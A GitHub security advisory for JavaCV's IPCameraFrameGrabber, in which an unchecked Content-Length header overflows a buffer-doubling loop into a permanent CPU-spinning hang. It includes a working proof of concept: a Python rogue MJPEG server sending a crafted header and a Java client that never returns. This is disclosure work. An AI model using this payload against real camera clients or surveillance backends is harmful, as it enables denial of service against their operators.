Skip to content

JavaCV: Integer Overflow in IPCameraFrameGrabber Causes Infinite-Loop DoS

High severity GitHub Reviewed Published Jul 25, 2026 in bytedeco/javacv • Updated Oct 16, 2026

Package

maven org.bytedeco:javacv (Maven)

Affected versions

< 1.5.14

Patched versions

1.5.14

Description

Summary

IPCameraFrameGrabber parses the Content-Length value from the multipart MJPEG HTTP stream returned by the configured IP camera without any bounds checking. A malicious or compromised camera endpoint - or any network attacker able to tamper with the plaintext HTTP response (these streams are conventionally accessed over http://, as documented in the class itself) - can supply a Content-Length value in the range 1073741825-2147483647. This drives the internal buffer-growth routine ensureBufferCapacity(int) into 32-bit signed integer overflow, which turns the "grow the buffer" loop into a true infinite loop: the loop variable oscillates to 0 and never again satisfies the loop's exit condition. The thread that called grab()/grabBufferedImage() spins at 100% CPU forever and never returns, permanently hanging the calling application's frame-grabbing thread with no exception, timeout, or interrupt path available to the caller.

Details

File: src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java

private byte[] readImage() throws IOException {
    ...
    int c0 = subheader.indexOf("content-length: ");
    final int c1 = subheader.indexOf('\r', c0);
    if (c0 < 0) {
        throw new EOFException("The camera stream ended unexpectedly");
    }
    c0 += 16;
    final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim());   // <-- fully attacker-controlled
    // adaptive size - careful - don't want a 2G jpeg
    ensureBufferCapacity(contentLength);                                              // <-- no upper bound enforced
    input.readFully(pixelBuffer, 0, contentLength);
    ...
}

private void ensureBufferCapacity(int desiredCapacity) {
    int capacity = pixelBuffer.length;          // starts at 1024
    while (capacity < desiredCapacity) {
        capacity *= 2;                          // <-- unchecked int multiplication
    }
    if (capacity > pixelBuffer.length) {
        pixelBuffer = new byte[capacity];
    }
}

contentLength is taken verbatim from the HTTP response headers of the camera stream and passed directly into ensureBufferCapacity with no upper-bound validation (the comment "adaptive size - careful - don't want a 2G jpeg" shows the author was aware of the risk but never implemented a check).

ensureBufferCapacity repeatedly doubles capacity (a 32-bit int, starting at pixelBuffer.length == 1024) until it is >= desiredCapacity. If desiredCapacity is greater than 2^30 (1073741824) but <= Integer.MAX_VALUE (2147483647):

  1. capacity reaches 2^30 (1073741824) after 20 doublings; the loop condition capacity < desiredCapacity is still true.
  2. capacity *= 2 computes 2^31, which overflows a signed 32-bit int and wraps to Integer.MIN_VALUE (-2147483648).
  3. The loop condition capacity < desiredCapacity (a negative number compared to a large positive desiredCapacity) is still true, so the loop continues.
  4. capacity *= 2 computes Integer.MIN_VALUE * 2, which in two's-complement 32-bit arithmetic wraps to 0.
  5. From this point on, capacity is permanently 0 (0 * 2 == 0), and 0 < desiredCapacity remains true forever - the while loop never terminates.

This is a pure CPU-bound loop with no I/O, no blocking call, and no InterruptedException check, so it cannot be interrupted via Thread.interrupt() and will not respect any readTimeout/connectionTimeout configured on the grabber (those only apply to the socket read that happens before this code path). The only remedy is killing the JVM/thread from outside.

PoC

A minimal malicious/MITM'd MJPEG server that reproduces the hang:

import socket

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 8080))
srv.listen(1)
print("listening on :8080")
conn, _ = srv.accept()
conn.recv(4096)  # swallow the client's request

# Any value in (1073741824, 2147483647] triggers the overflow.
malicious_length = 2000000000
header = (
    "--myboundary\r\n"
    "Content-Type: image/jpeg\r\n"
    "Content-Length: %d\r\n\r\n" % malicious_length
)
conn.sendall(header.encode())
# The client will now spin forever inside ensureBufferCapacity()
# before ever attempting to read the (fake) body.

Java client (representative of any application embedding javacv to view an "IP camera" URL):

import org.bytedeco.javacv.IPCameraFrameGrabber;
import java.util.concurrent.TimeUnit;

public class Poc {
    public static void main(String[] args) throws Exception {
        IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(
            "http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS);
        grabber.start();
        grabber.grab(); // never returns; thread pegs a CPU core at 100% forever
    }
}

Running the client against the malicious server above causes grab() to hang permanently, consuming a full CPU core, regardless of the startTimeout/grabTimeout passed to the constructor.

Impact

Any application that uses IPCameraFrameGrabber to consume a camera/MJPEG stream from a source that is not fully trusted - including the common case of plain http:// streams (as shown in the class's own documented examples: http://host/videostream.cgi?...) that can be tampered with by a network-position attacker - can be forced into a permanent, unrecoverable CPU-spinning hang of the grabbing thread by a single crafted response header. No authentication, JPEG payload, or actual data transfer is required; the malicious header alone is sufficient. Repeated exploitation against a server that spawns a grabber thread per client/camera (a common pattern for video-surveillance/monitoring backends) can exhaust available threads/CPU, resulting in a broader denial of service.

References

@saudet saudet published to bytedeco/javacv Jul 25, 2026
Published to the GitHub Advisory Database Oct 16, 2026
Reviewed Oct 16, 2026
Last updated Oct 16, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Weaknesses

Integer Overflow or Wraparound

The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number. Learn more on MITRE.

CVE ID

CVE-2026-102834

GHSA ID

GHSA-rxjv-24xq-76wc

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.